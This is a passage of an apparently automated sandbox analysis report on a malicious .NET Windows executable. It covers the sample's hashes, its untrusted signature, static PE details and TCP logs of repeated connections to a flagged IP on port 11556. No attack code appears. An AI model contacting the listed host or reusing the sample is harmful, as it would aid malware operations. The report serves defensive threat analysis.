http://tempuri.org/Endpoint/VerifyScanRequestResponse$	7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.468860488.0000000002BC8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
45.137.155.31	unknown	Russian Federation		25229	VOLIA-ASUA	true

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	458960
Start date:	03.08.2021
Start time:	23:07:20
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal68.troj.winEXE@3/1@0/1
EGA Information:	Failed
HDC Information:	Successful, ratio: 0% (good quality ratio 0%) Quality average: 17% Quality standard deviation: 34%
HCA Information:	Successful, ratio: 100% Number of executed functions: 154 Number of non-executed functions: 3
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, HxTsr.exe, RuntimeBroker.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, UsoClient.exe Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtAllocateVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
23:08:05	API Interceptor	1x Sleep call for process: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe modified

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
VOLIA-ASUA	TpZ10Hfjov.exe	Get hash	malicious	Browse	77.123.139.190
	o12nY1xwUl.exe	Get hash	malicious	Browse	77.123.139.190
	R4qgfTvaiK.exe	Get hash	malicious	Browse	77.123.139.190
	AR2rPMLtaN.exe	Get hash	malicious	Browse	77.123.139.190
	gji54VjOlP	Get hash	malicious	Browse	93.75.73.91
	flJrVwWebP.exe	Get hash	malicious	Browse	77.123.139.190
	bHC6bZhkMz.exe	Get hash	malicious	Browse	77.123.139.190
	4Dm89IWqe9.exe	Get hash	malicious	Browse	77.123.139.190
	5mr8riiH5q.exe	Get hash	malicious	Browse	77.123.139.190
	YoKh9rD5xR.exe	Get hash	malicious	Browse	77.123.139.190
	Oyu6AMjXZH.exe	Get hash	malicious	Browse	77.123.139.190
	vhTZ5hgW6j	Get hash	malicious	Browse	93.74.47.236
	gNt5Z08t0Y.exe	Get hash	malicious	Browse	77.123.139.190
	EpLr3m6ArC.exe	Get hash	malicious	Browse	77.123.139.190
	Ace_Stream_Media_3.1.32.exe	Get hash	malicious	Browse	77.120.105.71
	120mAT7jpA	Get hash	malicious	Browse	93.77.37.56
	Lkm548STLf	Get hash	malicious	Browse	93.75.8.58
	TCMKnazFHf	Get hash	malicious	Browse	77.121.115.127
	U9ZCIleOAC	Get hash	malicious	Browse	93.72.90.114
	C2XcSV0eL7	Get hash	malicious	Browse	93.74.243.200

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe.log Download File
Process:	C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1299
Entropy (8bit):	5.353835388147306
Encrypted:	false
SSDEEP:	24:MLUE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4xLE4qE4j:MIHK5HKXE1qHiYHKhQnoPtHoxHhAHKzg
MD5:	D7428B0428DC5FA72A41122D265CFA0E
SHA1:	F485E2EC6F980F218063AF527724C088617B3B94
SHA-256:	C49B31FB28F5EC1B5A82D45DF4A0A88DBC26E468BA007D8E63C800BA69CC5FFC
SHA-512:	FD5BC965FD28DC219F2703726A34A7156D1B71B9199617136F936DD5DDBB2CA65175FBB4B761243635493D6CABE3069406B4D4473DEEB93FDCDA1F392345683B
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	6.58992019616862
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.98% Win32 Executable (generic) a (10002005/4) 49.93% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe
File size:	364240
MD5:	2e18a08987838bbc3c26ffdbbcec1e62
SHA1:	2dd67d0c7191ab3380bc4a1b9ca3a09c684a2291
SHA256:	7c3beb3d9b0a8e0bdc6344a24b3b527b96cb9c845aa6847d8ac9d192f68ff912
SHA512:	bab4ef07f12fa241c3390550f75e2beeea344b44c6216c74d8ddca1de97a02c27f77d2d38238bc708590aa45e3fea4ede744fb26010e0deb6eb35169d8212944
SSDEEP:	6144:5bchiOsbOe04ety4saEH8heP9UBcemgMrXsTM:RTaepetyras8hM9UB8cTM
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....G.`..............0......^......R.... ........@.. ...............................`....@................................

File Icon


Icon Hash:	e8e6eae6b292c26e

Static PE Info

General
Entrypoint:	0x42bb52
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x60D847E7 [Sun Jun 27 09:41:59 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=ColumnHeaderCollection
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	6/26/2021 11:00:00 AM 6/27/2024 12:00:00 AM
Subject Chain	CN=ColumnHeaderCollection
Version:	3
Thumbprint MD5:	CF93BA345DF2747B2CF53ABC293CB913
Thumbprint SHA-1:	C4BE4F3585EF8282812D7BDAB5E5A1F5AA6BD7F8
Thumbprint SHA-256:	D3467EDC946463A56CCACC44EFB99073D816EAEB249D14968A79417E4253F66B
Serial:	723CD9354EC38F03

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2baf8	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2e000	0x2c030	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x56200	0x2cd0	.rsrc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2c000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x24a4c	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x29b58	0x29c00	False	0.775870134731	data	7.50941268753	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.reloc	0x2c000	0xc	0x200	False	0.044921875	data	0.101910425663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.rsrc	0x2e000	0x2c030	0x2c200	False	0.220221759915	data	4.87437214898	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type
RT_ICON	0x2e268	0x417f	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
RT_ICON	0x323e8	0x10828	dBase IV DBT, blocks size 0, block length 2048, next free block index 40, next free block 0, next used block 0
RT_ICON	0x42c10	0x94a8	data
RT_ICON	0x4c0b8	0x5488	data
RT_ICON	0x51540	0x4228	dBase IV DBT of \200.DBF, blocks size 0, block length 16896, next free block index 40, next free block 192, next used block 4282318872
RT_ICON	0x55768	0x25a8	data
RT_ICON	0x57d10	0x10a8	data
RT_ICON	0x58db8	0x988	data
RT_ICON	0x59740	0x468	GLS_BINARY_LSB_FIRST
RT_GROUP_ICON	0x59ba8	0x84	data
RT_VERSION	0x59c2c	0x404	data

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	Copyright (c) CRFML Corporation. All rights reserved.
Assembly Version	434.356.138.555
InternalName	MethodAttributes.exe
FileVersion	248.995.351.388
CompanyName	CRFML Corporation.
Comments	Licensed Delegated
ProductName	CRFML The Real Fish Delegate.
ProductVersion	248.995.351.388
FileDescription	Fish Delegates
OriginalFilename	MethodAttributes.exe

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 3, 2021 23:08:34.539272070 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:34.608829975 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:08:34.608943939 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:34.775641918 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:34.844460011 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:08:34.844919920 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:34.935828924 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:08:35.116533041 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:37.872083902 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:37.942097902 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:08:37.945636034 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:38.016057968 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:08:38.226187944 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:39.024693966 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:39.095200062 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:08:39.226295948 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:39.496062994 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:39.572225094 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:08:39.616928101 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:41.002532959 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:41.071475029 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:08:41.071873903 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:41.141886950 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:08:41.226475954 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:42.211414099 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:42.282383919 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:08:42.286588907 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:42.371978998 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:08:42.523458004 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:43.383331060 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:43.454222918 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:08:43.454910040 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:43.525957108 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:08:43.570585966 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:44.539746046 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:44.608695984 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:08:44.609221935 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:44.682656050 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:08:44.726794958 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:45.696274042 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:45.774158001 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:08:45.774604082 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:45.843389034 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:08:45.883111954 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:46.852746964 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:46.924748898 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:08:46.925151110 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:46.996185064 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:08:47.039469957 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:48.008903027 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:48.078175068 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:08:48.078557014 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:48.147993088 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:08:48.195836067 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:49.165903091 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:49.234884024 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:08:49.235312939 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:49.304136038 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:08:49.352307081 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:50.322942019 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:50.392438889 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:08:50.392863035 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:50.462193012 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:08:50.508629084 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:51.477946997 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:51.549185991 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:08:51.549530029 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:51.622066975 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:08:51.664973974 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:52.634804010 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:52.703515053 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:08:52.706039906 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:52.777390957 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:08:52.821343899 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:53.791714907 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:53.861747026 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:08:53.862258911 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:53.933701992 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:08:53.977737904 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:54.947076082 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:55.031856060 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:08:55.032232046 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:55.106903076 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:08:55.149503946 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:56.118983030 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:56.187716007 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:08:56.190704107 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:56.261271954 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:08:56.305851936 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:57.275489092 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:57.345042944 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:08:57.345726967 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:57.427540064 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:08:57.477873087 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:58.431857109 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:58.501523018 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:08:58.502108097 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:58.572072029 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:08:58.618643045 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:59.715187073 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:59.785922050 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:08:59.815390110 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:08:59.884717941 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:08:59.924290895 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:00.900859118 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:00.971767902 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:00.972302914 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:01.043327093 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:01.110486984 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:02.058590889 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:02.145145893 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:02.146626949 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:02.219572067 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:02.350543976 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:03.229676962 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:03.299985886 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:03.300573111 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:03.370943069 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:03.431736946 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:04.385783911 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:04.455791950 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:04.456289053 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:04.526737928 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:04.634697914 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:05.541631937 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:05.611464024 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:05.612101078 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:05.681380987 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:05.822316885 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:06.698107004 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:06.767100096 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:06.768568993 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:06.839437008 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:06.932123899 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:07.854629040 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:07.924712896 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:07.925165892 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:08.008780003 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:08.134985924 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:09.027188063 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:09.113158941 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:09.113595009 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:09.182266951 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:09.322645903 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:10.198681116 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:10.296838999 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:10.297158957 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:10.368463039 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:10.416429996 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:11.385880947 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:11.456250906 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:11.456629992 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:11.526104927 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:11.572777987 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:12.542252064 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:12.611979008 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:12.612454891 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:12.683219910 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:12.729326010 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:13.703249931 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:13.796703100 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:13.819808960 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:13.889261961 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:13.932480097 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:14.902769089 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:14.971916914 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:14.972323895 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:15.041310072 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:15.088774920 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:16.058588982 CEST	49725	11556	192.168.2.3	45.137.155.31
